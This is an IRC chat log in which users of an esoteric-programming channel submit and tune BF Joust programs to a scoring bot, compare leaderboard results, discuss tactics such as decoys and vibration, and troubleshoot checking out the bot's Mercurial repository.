ehird_i_keelst_thou: 21.2 01:03:57 ais523: o rly? 01:03:59 !bfjoust lols -(>)*9(+++><>[-[+-+]])*20 01:04:01 Score for leonid__lols: 41.3 01:04:03 that's a bit dramatic for random effects 01:04:04 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*11 01:04:07 !bfjoust lols -(><>)*9(+++>[-[+-+]])*20 01:04:07 Score for ehird_i_keelst_thou: 57.3 01:04:10 Score for leonid__lols: 49.0 01:04:12 okay, 11's a sweet spot 01:04:23 ehird: I suspect there's an odd/even interaction agaisnt something that's floating around in the hill 01:04:31 !bfjoust lols -(>)*9(+++>[-[+-]])*20 01:04:34 Score for leonid__lols: 24.5 01:04:38 !bfjoust lols -(>)*9(+++>[-[+-+-+-+-+]])*20 01:04:41 Score for leonid__lols: 44.0 01:04:43 !bfjoust ı (>)*9(-)*128[-] 01:04:45 Score for pikhq___: 14.4 01:04:47 !bfjoust lols -(>)*9(+++>[-[+++---+]])*20 01:04:50 Score for leonid__lols: 39.8 01:04:53 !bfjoust lols -(>)*9(+++>[-[++--+]])*20 01:04:56 Score for leonid__lols: 39.3 01:05:00 !bfjoust lols -(>)*9(+++>[-[+-+]])*20 01:05:00 night 01:05:02 Score for leonid__lols: 60.0 01:05:10 duh 01:05:13 please, can we talk about something else tomorrow? 01:05:17 AnMaster: no, this is fun 01:05:23 !bfjoust anti_counterdefence_glue ([]+)*10000 01:05:26 Score for ais523_anti_counterdefence_glue: 16.5 01:05:29 this channel should be renamed joust 01:05:29 how about making #bfjoust 01:05:30 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-++]+>(-)*128[+--]->)*11 01:05:32 Score for ehird_i_keelst_thou: 43.2 01:05:33 !bfjoust anti_counterdefence_glue ([]+)*50000 01:05:34 leonid_: noooooooo 01:05:36 Score for ais523_anti_counterdefence_glue: 16.3 01:05:38 !bfjoust i_keelst_thou (>+>-)*4>((-)*128[-]+>(-)*128[+]->)*11 01:05:39 and I was just about to suggest making #bfjoust 01:05:41 Score for ehird_i_keelst_thou: 56.9 01:05:46 although we'd have to persuade EgoBot to move there 01:05:48 ais523: it will die down eventually 01:05:53 but we're not talking about anything else 01:05:55 so why not joust? 01:06:04 ehird: well, #feather-lang exists 01:06:07 and it's pretty rarely used 01:06:18 ais523: it's a crappy channel because of that :) 01:06:24 !bfjoust lols ---(>)*9(+++>[-[+-+]])*20 01:06:24 !bfjoust anti_counterdefence_glue >>>>([]+)*50000 01:06:25 ais523, I'm in there! 01:06:26 Score for leonid__lols: 39.0 01:06:27 Score for ais523_anti_counterdefence_glue: 9.8 01:06:29 ais523, waiting for you 01:06:31 !bfjoust lols ---++(>)*9(+++>[-[+-+]])*20 01:06:34 Score for leonid__lols: 48.8 01:06:35 !bfjoust anti_counterdefence_glue >>>>(+[])*50000 01:06:38 Score for ais523_anti_counterdefence_glue: 10.4 01:06:39 !bfjoust lols ----+++(>)*9(+++>[-[+-+]])*20 01:06:41 Score for leonid__lols: 44.8 01:06:54 !bfjoust lols -(>)*9.(+++>[-[+-+]])*20 01:06:57 Score for leonid__lols: 39.5 01:07:04 !bfjoust lols -(>)*9(+++>[-[+[-+-]]])*20 01:07:07 Score for leonid__lols: 34.6 01:07:12 !bfjoust lols -(>)*9(+++>[-[-[+-+]]])*20 01:07:15 Score for leonid__lols: 45.4 01:07:30 !bfjoust lols -(>)*9(+++>[-[+[+-+]-[+-+]+]])*20 01:07:33 Score for leonid__lols: 29.1 01:07:42 10 63.09 7 ehird_i_keelst_thou.bfjoust 01:07:43 !bfjoust lols -(>)*9(+++>[-[+[+-+]]])*20 01:07:44 Pleases me. 01:07:46 Score for leonid__lols: 29.9 01:07:51 !bfjoust lols -(>)*9(+++>[+[+-+]])*20 01:07:54 Score for leonid__lols: 32.8 01:07:57 !bfjoust lols -(>)*9(+++>[-[+-+]])*20 01:08:00 Score for leonid__lols: 60.6 01:08:03 nah 01:08:07 ?_? 01:08:26 !bfjoust defense! [[.]+] 01:08:29 Score for pikhq_defense_: 13.1 01:08:47 !bfjoust defense! [+[.]+] 01:08:48 ? 01:08:50 Score for pikhq_defense_: 12.8 01:08:55 Definitely not. 01:09:04 !bfjoust lols -(>)*9(+++>([-[+-+]])*5)*20 01:09:07 Score for leonid__lols: 45.9 01:09:10 !bfjoust lols -(>)*9(+++>([-[+-+]])*10)*20 01:09:10 !bfjoust lawlz [.] 01:09:12 Score for leonid__lols: 45.2 01:09:13 Score for pikhq_lawlz: 13.1 01:09:15 !bfjoust lols -(>)*9(+++>([-[+-+]])*100)*20 01:09:18 Score for leonid__lols: 45.5 01:09:23 !bfjoust lols -(>)*9(+++>([-[+-+]])*1)*20 01:09:26 Score for leonid__lols: 38.0 01:09:30 !bfjoust lols -(>)*9(+++>[-[+-+]])*20 01:09:33 Score for leonid__lols: 58.9 01:09:40 random tape lol 01:09:59 !bfjoust lawlz [(+)*64] 01:10:02 Score for pikhq_lawlz: 5.0 01:10:20 !bfjoust anti_counterdefence_glue ([](+)*128(>)*8(+)*20(<)*8)*10([](+)*128(>)*9(+)*20(<)*9)*10([](+)*128(>)*10(+)*20(<)*10)*10([](+)*128(>)*11(+)*20(<)*11)*10([](+)*128(>)*12(+)*20(<)*12)*10([](+)*128(>)*13(+)*20(<)*13)*10([](+)*128(>)*14(+)*20(<)*14)*10([](+)*128(>)*15(+)*20(<)*15)*10([](+)*128(>)*16(+)*20(<)*16)*10([](+)*128(>)*17(+)*20(<)*17)*10([](+)*128(>)*18(+)*20(<)*18)*10([](+)*128(>)*19(+)*20(<)*19)*10([](+)*128( 01:10:22 >)*8(+)*20(<)*8)*10([](+)*128(>)*8(+)*20(<)*8)*10([](+)*128(>)*8(+)*20(<)*8)*10([](+)*128(>)*8(+)*20(<)*8)*10([](+)*128(>)*8(+)*20(<)*8)*10([](+)*128(>)*8(+)*20(<)*8)*10([](+)*128(>)*8(+)*20(<)*8)*10([](+)*128(>)*20(+)*20(<)*20)*10([](+)*128(>)*21(+)*20(<)*21)*10 01:10:23 Score for ais523_anti_counterdefence_glue: 0.0 01:10:27 heh 01:10:29 I'll pastebin it 01:10:31 ais523: FAIL 01:10:54 -!- inurinternet has quit (No route to host). 01:11:11 !bfjoust anti_counterdefence_glue http://pastebin.ca/raw/1438788 01:11:15 Score for ais523_anti_counterdefence_glue: 16.8 01:11:22 heh, still doing rather badly 01:11:44 it beat maglev and shade 01:11:58 !bfjoust lols -(>)*9(+++>[-[+-+]])*15 01:12:00 lesson learnt: don't attack a construct that hardly anyone uses 01:12:01 Score for leonid__lols: 43.8 01:12:04 !bfjoust lols -(>)*9(+++>[-[+-+]])*17 01:12:07 Score for leonid__lols: 51.5 01:12:10 !bfjoust lols -(>)*9(+++>[-[+-+]])*18 01:12:12 Score for leonid__lols: 42.8 01:12:14 !bfjoust lols -(>)*9(+++>[-[+-+]])*16 01:12:17 Score for leonid__lols: 38.9 01:12:29 !bfjoust lols -(>)*20(+++>[-[+-+]])*10 01:12:32 Score for leonid__lols: 35.4 01:12:37 !bfjoust lols -(>)*9(+++>[-[+-+]])*20 01:12:39 :( 01:12:40 Score for leonid__lols: 59.5 01:12:52 whoa 01:13:05 In Star Trek, a planet with no life may have trees. 01:13:08 Because trees totally aren't life. 01:13:30 .... 01:13:38 !bfjoust lols -(>)*9(+-+>[-[+-+]])*20 01:13:40 Score for leonid__lols: 55.1 01:13:44 !bfjoust lols -(>)*9(+-+>[---[+-+]])*20 01:13:47 Score for leonid__lols: 52.9 01:13:49 !bfjoust lols -(>)*9(+-+>[--[+-+]])*20 01:13:49 GregorR-L: Ah, Star Trek. 01:13:52 Score for leonid__lols: 46.5 01:13:55 !bfjoust lols -(>)*9(+-+>[-----[+-+]])*20 01:13:58 Score for leonid__lols: 51.2 01:13:59 leonid_: put lols back to the version that gets almost 60 01:14:01 So bad, it's amazing that it's entertaining. 01:14:06 !bfjoust lols -(>)*9(+>[-[+-+]])*20 01:14:08 and use a different filename for tests 01:14:09 Score for leonid__lols: 50.5 01:14:15 okay 01:14:17 !bfjoust lols -(>)*9(+>[-[+-+]])*20 01:14:20 Score for leonid__lols: 49.9 01:14:25 the good version had +++ before the > 01:14:26 it sucks now 01:14:31 !bfjoust lols -(>)*9(+++>[-[+-+]])*20 01:14:32 oh yeah 01:14:34 Score for leonid__lols: 59.5 01:14:36 kk 01:14:51 leaving the good one there while experimenting means that other players have better programs to aim for 01:15:06 !bfjoust lols2 -(>)*9(+++>[-[+-+]])*20 01:15:09 Score for leonid__lols2: 55.4 01:15:24 they tie 01:15:35 !bfjoust lols2 -(>)*9(+-+>[-[+-+]])*19 01:15:38 Score for leonid__lols2: 51.7 01:15:44 !bfjoust lols2 -(>)*9(+-+-+++>[-[+-+]])*19 01:15:47 Score for leonid__lols2: 46.0 01:15:50 !bfjoust lols2 -(>)*9(+-+-+++>[-[+-+]])*23 01:15:52 Score for leonid__lols2: 36.5 01:16:18 !bfjoust lols2 +(>)*9(+++>[-[+-+]])*23 01:16:21 Score for leonid__lols2: 35.1 01:16:32 You're doin' well :P 01:16:48 not really :/ 01:17:07 !bfjoust lols2 ---(>)*9(+++>[-[+-+]])*23 01:17:09 Score for leonid__lols2: 40.7 01:17:20 !bfjoust lols2 (-+)*10000+(>)*9(+++>[-[+-+]])*23 01:17:23 Score for leonid__lols2: 48.8 01:17:31 !bfjoust lols2 (-+)*100000+(>)*9(+++>[-[+-+]])*20 01:17:34 Score for leonid__lols2: 22.1 01:17:36 nah 01:17:48 !bfjoust lols2 (-+)*100+(>)*9(+++>[-[+-+]])*20 01:17:51 Score for leonid__lols2: 30.4 01:18:04 !bfjoust lols2 +(>)*8(+++>[-[+-+]])*20 01:18:06 Score for leonid__lols2: 31.8 01:18:47 No one can defeat slowrush. 01:18:50 Muahahaha etc. 01:19:43 !bfjoust lols2 +(>)*8(+++>[-[+-+-+]])*20 01:19:46 Score for leonid__lols2: 34.8 01:19:50 !bfjoust lols2 +(>)*8(+++>[-[++--+]])*20 01:19:53 Score for leonid__lols2: 30.7 01:20:00 !bfjoust lols2 +(>)*8(+++>[-[+-+-+-+]])*20 01:20:02 Score for leonid__lols2: 37.6 01:20:11 !bfjoust lols2 +(>)*8(+++>[-[(+-)*1000+]])*20 01:20:13 Score for leonid__lols2: 37.7 01:20:18 !bfjoust lols2 +(>)*8(+++>[-[(+-)*100+]])*20 01:20:21 Score for leonid__lols2: 35.7 01:20:29 !bfjoust lols2 +(>)*8(+++>[-[(+-)*99999+]])*20 01:20:32 Score for leonid__lols2: 24.6 01:20:52 !bfjoust lols2 +(>)*8((+)*64>[-[+-+]])*20 01:20:55 Score for leonid__lols2: 41.2 01:21:02 !bfjoust lols2 +(>)*8((+)*129>[-[+-+]])*20 01:21:04 Score for leonid__lols2: 41.8 01:21:08 !bfjoust lols2 +(>)*8((+)*131>[-[+-+]])*20 01:21:11 Score for leonid__lols2: 41.8 01:21:19 !bfjoust lols2 +(>)*8((+)*131>[(-)*129[+-+]])*20 01:21:22 Score for leonid__lols2: 36.6 01:21:24 GregorR-L: vff beats slowrush in the head-to-head match 01:21:29 just not percentagewise 01:21:39 !bfjoust lols2 +(>)*8((+)*131>[-[++-+-++]])*20 01:21:42 Score for leonid__lols2: 41.2 01:22:01 !bfjoust lols2 +(>)*8(+>[-[+[+[-+-]+]+]-])*20 01:22:04 Score for leonid__lols2: 24.8 01:22:10 one thing that could be interesting, but difficult, would be updating the scoreboard to show /how/ each win/loss/draw happened 01:22:17 e.g. timeout, off tape right, etc 01:22:29 !bfjoust lols2 +++(>)*9(++++>[-[+-+]])*20 01:22:31 Score for leonid__lols2: 39.0 01:22:38 yeah that'd be fun 01:23:39 -!- coppro has joined. 01:23:43 ais523: the bot just takes return values of 0, 1, 2... gonna have to get gregor to change the bot for something like that 01:23:56 yes, I know 01:24:00 !bfjoust lols2 +-+(>)*11(++++>[-[+-+]])*20 01:24:00 which is why I said it was difficult 01:24:02 Score for leonid__lols2: 36.0 01:24:05 ya 01:24:05 Actually, just report.c 01:24:12 hi coppro 01:24:13 Err, and egojoust.c 01:24:19 The point is, not the bot itself, just stuff it runs. 01:24:24 oh? 01:24:34 i saw earlier you say something about it going off the return values, but if not then even better 01:24:39 hi 01:24:49 GregorR-L: is egojoust in EgoBot's hg repo yet? 01:24:50 i gotta sit down and make slowrush stop running off the tape vs vibration.. i assume that's what it's doing at least 01:24:51 it doesn't seem to be 01:24:53 ais523: Yes. 01:25:01 ais523: It's there. 01:25:18 ais523: what commanad are you typing? i just get an error :\ 01:25:32 nescience: "hg update" 01:25:43 hg pull && hg up 01:25:44 lol 01:25:46 guess that doesn't help me 01:25:53 ooh, I forgot to pull... 01:25:59 what's the correct url 01:26:08 !info 01:26:09 EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ 01:26:17 That's the correct URL to the source for EgoBot itself. 01:26:23 https 01:26:35 i wonder if that makes a difference? 01:26:36 ... yes. And? 01:26:38 Oh 01:26:39 i was using http 01:26:42 You can do either. 01:26:42 !bfjoust lols2 +-+(>)*11(+++++>[-[+-+-+]])*19 01:26:45 Score for leonid__lols2: 30.2 01:26:49 !bfjoust lols2 +-+(>)*9(+++++>[-[+-+-+]])*19 01:26:52 Score for leonid__lols2: 37.1 01:26:55 !bfjoust lols2 +-+(>)*9(+++++>[-[+-+-+]])*21 01:26:55 I have it set to https so that if somebody gets push access, they'll push to https 01:26:57 Score for leonid__lols2: 41.6 01:27:01 :3 01:27:13 nope 01:27:24 i'm still trying to get the bf_joust folder, but it just says it's not a repository 01:27:25 lmfao lols is rank 2 now 01:27:26 ah 01:27:40 http://codu.org/eso/bfjoust/in_egobot/ you mean? 01:27:42 That should work. 01:27:47 That E_WORKSFORME 01:27:54 !bfjoust lols2 ++(>)*9(+++++>[-[+-+-+]])*21 01:27:56 Score for leonid__lols2: 39.3 01:28:20 !bfjoust lols2 +++(>)*10(+++>[+++[+-+-+]])*20 01:28:23 Score for leonid__lols2: 24.9 01:28:28 !bfjoust lols2 +++(>)*10(+++>[+++[+]])*20 01:28:30 Score for leonid__lols2: 23.1 01:28:33 !bfjoust lols2 +++(>)*10(+++>[+++[-]])*20 01:28:36 Score for leonid__lols2: 31.9 01:28:38 abort: 'http://codu.org/eso/bfjoust/in_egobot/' does not appear to be an hg repository! 01:28:40 :\ 01:28:40 !bfjoust lols2 +++(>)*10(+++>[-[-]])*20 01:28:43 Score for leonid__lols2: 28.2 01:28:50 !bfjoust lols2 +++(>)*10(+++>[-[+]])*20 01:28:54 Score for leonid__lols2: 26.8 01:28:57 what the fuck am i doing 01:29:05 i did apt-get install mercurial 01:29:12 if i need something else that could be the problem 01:29:45 !bfjoust lols2 +++(><><><>)*10(+++>[-[+]])*20 01:29:48 Score for leonid__lols2: 37.3 01:29:59 Idonno what to tell you, that works for me. You could just do wget -r -l inf -np http://codu.org/eso/bfjoust/in_egobot/.hg/ 01:30:04 !bfjoust lols2 +(><><><>)*9(+++>[-[+-+]])*20 01:30:07 Score for leonid__lols2: 46.2 01:30:14 !bfjoust lols2 +(><><><>)*10(+++>[-[+-+]])*20 01:30:16 Then put that somewhere and `hg up` next to it. 01:30:17 Score for leonid__lols2: 42.0 01:30:20 !bfjoust lols2 +(><><><>)*8(+++>[-[+-+]])*20 01:30:21 Anyway, I've gtg. 01:30:23 Score for leonid__lols2: 49.8 01:30:25 maybe i'll just try to get the windows version and play ith that 01:30:26 ok, thanks 01:30:29 !bfjoust lols2 +(><><><><>)*8(+++>[-[+-+]])*20 01:30:32 Score for leonid__lols2: 47.0 01:30:35 !bfjoust lols2 +(><><><><><>)*8(+++>[-[+-+]])*20 01:30:38 Score for leonid__lols2: 48.4 01:30:42 myndzi: it could be an internet connectivity problem from inside the vm 01:30:42 ?_? 01:31:09 !bfjoust lols2 +(><><<>><>)*8(+++>[-[+-+]])*20 01:31:12 Score for leonid__lols2: 0.0 01:31:17 now what 01:31:33 !bfjoust lols2 +(><><<>>)*8(+++>[-[+-+]])*20 01:31:35 Score for leonid__lols2: 0.0 01:31:44 oh nvm 01:31:55 !bfjoust lols2 +(>><<><>)*8(+++>[-[+-+]])*20 01:31:58 Score for leonid__lols2: 46.8 01:32:14 !bfjoust lols2 +(>><<>><<>)*8(+++>[-[+-+]])*20 01:32:17 Score for leonid__lols2: 51.5 01:32:31 coppro: how did the Enigma-playing go? 01:32:39 it's going well 01:32:43 lots of work to do though 01:32:44 !bfjoust lols2 +(>><<>><<>><<>)*8(+++>[-[+-+]])*20 01:32:46 Score for leonid__lols2: 47.3 01:32:52 !bfjoust lols2 +(>><<>><><<>)*8(+++>[-[+-+]])*20 01:32:54 Score for leonid__lols2: 45.9 01:33:11 !bfjoust lols2 +(>><<>>><<<>)*8(+++>[-[+-+]])*20 01:33:14 Score for leonid__lols2: 44.1 01:33:39 !bfjoust lols2 +(>><<>><<>)*8(+++>[-[+-+]])*20 01:33:42 Score for leonid__lols2: 52.0 01:33:45 interesting 01:34:02 !bfjoust lols2 +(>><<>><<>)*8(+++>[-+-[+-+]])*20 01:34:04 Score for leonid__lols2: 41.8 01:34:09 !bfjoust lols2 +(>><<>><<>)*8(+++>[--[+-+-+]])*20 01:34:12 Score for leonid__lols2: 42.6 01:34:15 !bfjoust lols2 +(>><<>><<>)*8(+++>[-[+-+-+]])*20 01:34:17 Score for leonid__lols2: 56.7 01:34:18 ais523: nah, apt-get worked 01:34:20 whoa 01:34:27 myndzi: ah, good point 01:34:34 !bfjoust lols2 +(>><<>><<>)*8(+++>[-[+-+-+-+]])*20 01:34:36 Score for leonid__lols2: 41.8 01:34:40 !bfjoust lols2 +(>><<>><<>)*8(+>[-[+-+-+]])*20 01:34:42 also, why using > and < to nop, rather than just . 01:34:43 Score for leonid__lols2: 40.4 01:34:56 !bfjoust lols2 +(>><<>><<>)*8(+>[-[+-+-+-+]])*20 01:34:57 oh 01:34:58 Score for leonid__lols2: 36.2 01:35:15 !bfjoust lols2 +(>...<>)*8(+++>[-[+-+-+]])*20 01:35:17 Score for leonid__lols2: 41.8 01:35:20 !bfjoust lols2 +(>....)*8(+++>[-[+-+-+]])*20 01:35:23 Score for leonid__lols2: 37.0 01:35:32 !bfjoust lols2 +(>><<>><<>)*8(+++>[-[+-+-+]])*20 01:35:35 Score for leonid__lols2: 56.7 01:35:41 lol i'm lost 01:35:55 !bfjoust lols2 +(........>)*8(+++>[-[+-+-+]])*20 01:35:58 Score for leonid__lols2: 36.6 01:36:04 !bfjoust lols2 +(....>)*8(+++>[-[+-+-+]])*20 01:36:07 Score for leonid__lols2: 35.1 01:36:17 !bfjoust lols2 +(>><<>><<>)*8(++++>[-[+-+-+]])*20 01:36:19 Score for leonid__lols2: 47.3 01:36:37 !bfjoust lols2 +(>><<>><<>)*8(++>[-[+-+-+]])*20 01:36:40 Score for leonid__lols2: 42.0 01:36:43 the wget should do it i guess 01:36:45 !bfjoust lols2 +(>><<>><<>)*8(+++>[-[+-+-+]])*20 01:36:48 Score for leonid__lols2: 56.7 01:37:12 !bfjoust lols2 +><(>><<>><<>)*8(+++>[-[+-+-+]])*20 01:37:14 mostly i just wanted to get my code back 01:37:14 Score for leonid__lols2: 48.6 01:37:19 i'm not so interested in keeping it up to date 01:37:20 !bfjoust lols2 +>-<+(>><<>><<>)*8(+++>[-[+-+-+]])*20 01:37:23 Score for leonid__lols2: 47.3 01:37:27 but i guess i can figure that out later 01:37:29 !bfjoust lols2 +>-<(>><<>><<>)*8(+++>[-[+-+-+]])*20 01:37:31 Score for leonid__lols2: 35.1 01:37:39 !bfjoust lols2 +(>><<>><<>)*8(+++>[-[++--+]])*20 01:37:41 leonid_: you might consider doing that in a query with the bot 01:37:41 Score for leonid__lols2: 44.0 01:37:47 ah yeah 01:37:48 just so, y'know, people can see what they are saying in here 01:37:50 :) 01:37:59 i'll do that 01:38:23 sorry for spamming 01:38:24 i think i'm gonna make a mirc interpreter after all (lol slow) 01:38:34 so i can test things out like that without messing with the bot 01:39:45 damn 01:39:56 i just fixed head 10, but it's still screwing up 01:40:01 i have no idea what the problem is now :\ 01:40:09 maybe a bad solenoid, but it'll be hard to test.. 01:45:23 -!- KingOfKarlsruhe has quit (Remote closed the connection). 01:50:13 lol 01:50:19 the windows version of mercurial worked fine 01:50:26 i think maybe the debian packages are out of date 01:50:32 er, ubuntu, whatever 01:51:17 -!- inurinternet has joined. 01:54:52 lmfao lols2 got rank 2 01:55:39 whoa 01:55:42 it beats slowrush 01:55:52 *dances* 02:00:17 o_O 02:00:42 BUT I AM INVINCIBLE 02:01:08 mmmm 02:01:22 hmm... I reckon attack1 would beat lols2 02:01:22 nope 02:01:24 let's find out 02:01:31 i beat yours too nescience 02:01:40 * myndzi = nescience 02:01:44 oh 02:01:46 nvm 02:01:50 !bfjoust attack1 [>[-]+] 02:01:53 Score for ais523_attack1: 18.9 02:02:06 damn 02:02:10 yep, it might be last 02:02:14 but it beats lols2 02:02:18 yes 02:02:22 >_> 02:02:27 and lols, and maglev 02:02:30 but nothing else 02:03:01 making several attack1 clone will pull lols down 02:03:07 don't do it 02:03:15 I'm not going to 02:03:20 and I'd have to submit them very quickly 02:03:34 !bfjoust attack1_buffered [[[>[-]+]+]+] 02:03:37 Score for ais523_attack1_buffered: 20.1 02:04:22 heh, now it beats ehird's best program /and/ leonid's best program 02:04:26 but still loses against most of the field 02:07:24 there's got to be an easy way to display the most recent version of a file that got deleted 02:07:35 myndzi: in BF Joust, or in general? 02:07:39 hg 02:07:53 i'm still trying to figure out how to FIND how to refer to the latest version of th efile 02:18:24 !bfjoust creep >+>->+>->+>->+(>-++-(.)*132[+]++>-++-(.)*132[-]--)*15 02:18:27 Score for nescience_creep: 25.3 02:18:30 finally figured it out 02:18:33 ha, doesn't do so hot anymore 02:18:36 that's what i was curious about 02:21:33 wow, ehird_i_keelst_thou.bfjoust is down to halfway already 02:21:52 !bfjoust lawlz . 02:21:53 and impomatic_mirage is a new entry near the top 02:21:54 Score for pikhq_lawlz: 13.1 02:22:01 or has it just always been there, and started doing well, I wonder? 02:22:10 It wins by merit of not killing itself! 02:22:31 ah, yes 02:22:38 nescience_shade assumes the opponent sets up at least one decoy 02:22:42 whereas lawlz doesn't 02:22:51 lawlz 02:26:20 yawn 02:31:36 lawlz3 gets rank 2 02:31:43 hahaha 02:32:05 clearly, I need a radically new idea 02:33:36 !bfjoust speedy1 >>>>>>>>>([+[+[+[---]]]])*21 02:33:39 Score for ais523_speedy1: 15.2 02:34:07 beats only shade and mirage 02:34:20 !bfjoust speedy1 >>>>>>>>>([+[+[+[-]]]])*21 02:34:23 Score for ais523_speedy1: 11.2 02:34:59 !bfjoust speedy1 >>>>>>>>>(+[+[+[+[---]]]]>)*21 02:35:02 Score for ais523_speedy1: 40.1 02:35:10 it would help if I remembered to enter the loop in the first place... 02:35:19 !bfjoust speedy1 >>>>>>>>>(+[+[+[---]]]>)*21 02:35:22 Score for ais523_speedy1: 30.1 02:35:28 * ais523 wonders why that does worse 02:35:34 oh, it's slower against a flag 02:35:47 !bfjoust speedy1 >>>>>>>>>(-[++[++[---]]]>)*21 02:35:50 Score for ais523_speedy1: 19.1 02:36:03 !bfjoust speedy1 >>>>>>>>>(-[+[+++[---]]]>)*21 02:36:06 Score for ais523_speedy1: 23.3 02:36:13 !bfjoust speedy1 >>>>>>>>>(-[+[+[---]]]>)*21 02:36:16 Score for ais523_speedy1: 50.7 02:36:33 that's more like it 02:36:42 **** 02:37:36 heh, vff's down to the bottom half of the leaderboard already 02:38:41 !bfjoust stubborn >>>>>>>>>((.-)*256>)*21 02:38:46 Score for ais523_stubborn: 26.5 02:38:52 I was just curious 02:39:11 5 wins, but nevertheless last 02:39:17 !bfjoust stubborn >>>>>>>>>((.+)*256>)*21 02:39:20 Score for ais523_stubborn: 12.2 02:39:27 interesting how much difference that made... 02:40:42 !bfjoust flagwire_vibration [](+-)*5000+>+++++[[[>[---]+]+]+]+[[[>[---]+]+]+] 02:40:45 Score for ais523_flagwire_vibration: 13.8 02:41:21 oh, of course; as ehird said, you can't use a [] on your own flag 02:43:01 !bfjoust tripwire_sensor >+>+[]<(.)*48[<(+)*100000]<(-)*100000 02:43:02 that's the main reason for my wiki comment about timing 02:43:04 Score for ais523_tripwire_sensor: 13.9 02:43:15 * ais523 wonders why tripwire_sensor does so badly 02:43:27 !bfjoust tripwire_sensor >+>+>+<[]<(.)*48[<(+)*100000]<(-)*100000 02:43:30 Score for ais523_tripwire_sensor: 13.7 02:44:17 !bfjoust tripwire_sensor >+>++++>+<[]<(.)*48[<(+)*100000]<(-)*100000 02:44:20 Score for ais523_tripwire_sensor: 18.7 02:45:18 * ais523 tests locally against speedy1 02:46:20 ah, of course 02:46:24 !bfjoust tripwire_sensor >+>+++>+<[]<(.)*48[<(+)*100000]<(-)*100000 02:46:28 Score for ais523_tripwire_sensor: 18.6 02:46:45 strange, speedy1 still wins 02:48:15 !bfjoust tripwire_sensor >+>+++++>+<[]<(.)*48[<(+)*100000]<(-)*100000 02:48:19 Score for ais523_tripwire_sensor: 13.8 02:48:27 !bfjoust tripwire_sensor >+>++>+<[]<(.)*48[<(+)*100000]<(-)*100000 02:48:30 Score for ais523_tripwire_sensor: 20.4 02:48:35 that's better 02:48:38 but still not good enough 02:49:33 !bfjoust tripwire_sensor >+>>+<+++++[]<(.)*48[<(+)*100000]<(-)*100000 02:49:36 Score for ais523_tripwire_sensor: 19.7 02:49:41 !bfjoust tripwire_sensor >+>>+<++[]<(.)*48[<(+)*100000]<(-)*100000 02:49:45 Score for ais523_tripwire_sensor: 13.5 02:49:52 !bfjoust tripwire_sensor >+>>-<++[]<(.)*48[<(+)*100000]<(-)*100000 02:49:56 Score for ais523_tripwire_sensor: 15.8 02:50:01 !bfjoust tripwire_sensor >+>>-<+++++[]<(.)*48[<(+)*100000]<(-)*100000 02:50:05 Score for ais523_tripwire_sensor: 21.5 02:56:36 ahh finally got it right 02:56:39 take that vibration 02:56:44 it's such a good vibration 02:56:52 but now i lose to speedy, must be timing 02:56:54 * myndzi speeds it up a little 02:57:02 myndzi: you boosted slowrush? 02:57:08 ya 02:57:10 still tweaking though 02:57:26 heh, and you draw to tripwire_sensor, which is awful 02:57:42 haven't got to that point, tackling one at a time 02:57:45 first, the ones i was losing to 02:57:45 :) 02:57:57 :o 02:58:09 this thing should allow forking! 02:58:27 !bfjoust speedy_decoy >(-)*5>>>>>>>>(-[+[+[---]]]>)*21 02:58:30 Score for ais523_speedy_decoy: 50.8 02:58:31 that would add a whole new level of awesome 02:58:39 bingo 02:58:42 my lawlz still beats slowrush 02:58:47 2 ties 02:58:48 all wins 02:58:54 beh, slowrush still somehow beats it anyway 02:59:00 nevermind 02:59:01 wonder why it ties to viper 02:59:14 aarrrgrgh 02:59:17 like my solution to vibrate? :) 02:59:18 did Gregor increase the heap size or is it another bug? 02:59:26 (current code: >(+)*19>(-)*19>+>->+>->+>-(>-.+[[-++++++++++++++[-.]]+>-.+]+)*20) 02:59:44 myndzi: by vibrating a bit yourself to see if it kills the opponent 02:59:52 it's more precise than that 02:59:54 specifically, 02:59:58 if i execute "-" and you don't die 03:00:01 i know your timing 03:00:07 and then i wait a beat and counteract it so you do 03:00:21 -.+ 03:00:35 costs me 3 cycles on new cells but it is worth it 03:01:10 me and viper must be getting in +- loops 03:01:15 but i don't see how that can happen 03:01:22 gah, why is 109 prime 03:01:23 oh, nevermind 03:01:36 your use of 19 for the decoys in slowrush is really clever 03:01:39 maybe I'll steal it 03:01:54 although, idea 03:01:56 :P 03:02:00 !bfjoust speedy_decoy < 03:02:03 Score for ais523_speedy_decoy: 0.0 03:02:03 18 loses me lots of points 03:02:07 so i am not really sure 03:02:08 it was 20 03:02:13 i dropped it to 19 to beat your inverse 03:02:18 that's what i meant when i said cheap hack 03:02:24 just so i was a little faster than you 03:02:24 :) 03:02:42 well, a tie to viper is ok 03:02:46 i reign supreme again! 03:02:46 19 works well because it slows all the modulo programs, being prime and 128-19 also being prime 03:02:52 93 points! 03:03:04 yeah, i didn't study it enough, but that makes sense 03:03:21 so i wonder how 13 would work 03:03:38 less good 03:03:44 !bfjoust speedy2 >>>>>>>>>([-[++[---]]]>)*21 03:03:47 Score for ais523_speedy2: 38.4 03:04:13 damn 03:04:17 that resubmission cost me a win 03:04:54 woot 03:05:07 ;o 03:05:57 !bfjoust speedy2_with_19_decoy >(+)*19>(-)*19>>>>>>>([-[++[---]]]>)*21 03:06:01 Score for ais523_speedy2_with_19_decoy: 43.8 03:06:14 i had an idea driving over here i wanted to mess with 03:06:17 now i can't think of it atm 03:06:18 !bfjoust ais523_speedy < 03:06:21 Score for ais523_ais523_speedy: 0.0 03:06:28 !bfjoust speedy2 < 03:06:31 Score for ais523_speedy2: 0.0 03:06:54 $!@$!# !@$@#$ 03:08:44 !bfjoust monovibration (+)*5000(-[+[+[---]]]>)*21 03:08:47 Score for ais523_monovibration: 5.5 03:08:54 heh, that did badly 03:08:58 oops 03:09:01 !bfjoust monovibration (+)*5000>(-[+[+[---]]]>)*21 03:09:06 Score for ais523_monovibration: 28.3 03:09:28 whoa 74.1 03:09:30 *dances* 03:10:20 what's the timeout 03:10:34 100000 03:10:37 hmm 03:10:52 !bfjoust monovibration (-)*5000>(-[+[+[---]]]>)*21 03:10:55 Score for ais523_monovibration: 12.7 03:11:20 !bfjoust test >+>->+>->+>->+>--<++<--<++<--<++<--<++(+)*16>(-)*16>(+)*16>(-)*16>(+)*16>(-)*16>(+)*16>(-)*16(>-.+[(+)*19[+[-.]]](+)*19)*20 03:11:24 Score for myndzi_test: 86.9 03:11:27 sweet 03:11:33 !bfjoust test < 03:11:35 Score for 